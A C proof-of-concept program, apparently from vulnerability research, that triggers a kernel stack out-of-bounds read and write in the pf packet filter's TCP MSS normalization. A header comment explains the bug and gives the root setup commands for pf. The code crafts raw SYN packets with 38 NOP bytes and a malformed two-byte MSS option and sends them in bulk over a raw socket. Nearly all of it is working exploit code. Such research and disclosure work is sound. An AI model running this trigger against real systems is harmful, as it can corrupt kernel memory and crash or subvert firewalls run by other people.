/*
 * DF-3360 trigger — pf_normalize_tcpopt() stack OOB read/write via
 * malformed TCP MSS option (sys/net/pf/pf_norm.c:1938-1946).
 *
 * Mechanism:
 *   u_char opts[TCP_MAXOLEN];          // exactly 40 bytes (:1915)
 *   cnt = thoff - sizeof(struct tcphdr);   // == 40 for th_off == 15
 *   ... walk ...
 *       optlen = optp[1];
 *       if (optlen < 2 || optlen > cnt) break;   // optlen == 2 passes
 *       case TCPOPT_MAXSEG:
 *           mss = (u_int16_t *)(optp + 2);       // == opts + 40 !!
 *           if ((ntohs(*mss)) > r->max_mss) {    // OOB READ opts[40..41]
 *               th->th_sum = pf_cksum_fixup(..., *mss, htons(r->max_mss), 0);
 *               *mss = htons(r->max_mss);        // OOB WRITE opts[40..41]
 *               rewrite = 1;
 *           }
 *
 *   A TCP header with th_off == 15 (60 bytes) whose option space tiles
 *   as [38 bytes of filler][0x02 0x02] (MAXSEG with declared option
 *   length 2, not TCPOLEN_MAXSEG == 4) makes optp == opts+38, optlen == 2,
 *   mss == opts+40: two bytes past the 40-byte stack array.
 *   The read is unconditional; if the adjacent stack word (interpreted
 *   big-endian) exceeds the rule's max-mss, a 2-byte value
 *   htons(max_mss) is written past the array.
 *
 * Setup needed (root):
 *   kldload pf
 *   pfctl -f /root/poc/mss.conf    # scrub in on lo0 all max-mss $VAL
 *   pfctl -e
 *
 * Usage: mss_oob [numpackets [dport]]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define	TCPOPT_FILLER_NOP	1	/* TCPOPT_NOP */

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return (unsigned short)(~s);
}

static void
send_badmss(int s, in_addr_t src, in_addr_t dst, unsigned short sport,
    unsigned short dport, unsigned id)
{
	char pkt[sizeof(struct ip) + 60];
	struct ip *ip = (struct ip *)pkt;
	struct tcphdr *th = (struct tcphdr *)(pkt + sizeof(struct ip));
	unsigned char *opts = (unsigned char *)th + sizeof(struct tcphdr);
	struct sockaddr_in sin;
	int i, tlen = sizeof(struct tcphdr) + 40;

	memset(pkt, 0, sizeof(pkt));
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip) >> 2;
	ip->ip_len = htons(sizeof(struct ip) + tlen);
	ip->ip_id = id;
	ip->ip_off = htons(0);
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_src.s_addr = src;
	ip->ip_dst.s_addr = dst;
	ip->ip_sum = 0;
	ip->ip_sum = cksum((unsigned short *)pkt, sizeof(struct ip));

	th->th_sport = htons(sport);
	th->th_dport = htons(dport);
	th->th_seq = htonl(0x1000 + sport);
	th->th_off = 15;			/* 60-byte header, 40B options */
	th->th_flags = TH_SYN;
	th->th_win = htons(8192);

	/* 38 bytes of NOP + malformed MSS option {2, 2} == 40 bytes */
	for (i = 0; i < 38; i++)
		opts[i] = TCPOPT_FILLER_NOP;
	opts[38] = TCPOPT_MAXSEG;	/* 2 */
	opts[39] = 2;			/* length 2 (malformed, != 4) */
	/* opts[40], opts[41] are past the array -> touched by *mss */

	th->th_sum = 0;
	{
		char buf[12 + 60];
		unsigned char *bp = (unsigned char *)buf;
		in_addr_t saddr = ip->ip_src.s_addr, daddr = ip->ip_dst.s_addr;
		u_short plen = htons(tlen);
		memcpy(bp, &saddr, 4);
		memcpy(bp + 4, &daddr, 4);
		bp[8] = 0;
		bp[9] = IPPROTO_TCP;
		memcpy(bp + 10, &plen, 2);
		memcpy(bp + 12, th, 60);
		th->th_sum = cksum((unsigned short *)buf, 12 + 60);
	}

	memset(&sin, 0, sizeof(sin));
	sin.sin_len = sizeof(sin);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = dst;
	if (sendto(s, pkt, sizeof(struct ip) + tlen, 0,
	    (struct sockaddr *)&sin, sizeof(sin)) < 0 &&
	    errno != ENOBUFS)
		fprintf(stderr, "sendto: %s\n", strerror(errno));
}

int
main(int argc, char **argv)
{
	in_addr_t dst = inet_addr("127.0.0.2");
	in_addr_t src;
	int s, one = 1;
	long n = (argc > 1) ? atol(argv[1]) : 1000;
	unsigned short dport = (argc > 2) ? atoi(argv[2]) : 9999;
	long i;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); exit(1); }
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
		{ perror("IP_HDRINCL"); exit(1); }

	src = htonl(0x7f000001);	/* must be a local address (127.0.0.1) */
	for (i = 0; i < n; i++) {
		send_badmss(s, src, dst,
		    1024 + (unsigned short)(i & 0x3fff), dport,
		    (unsigned)(i & 0xffff));
		if ((i % 10000) == 9999) {
			printf("sent %ld\n", i + 1);
			fflush(stdout);
		}
	}
	printf("done %ld packets\n", n);
	return (0);
}
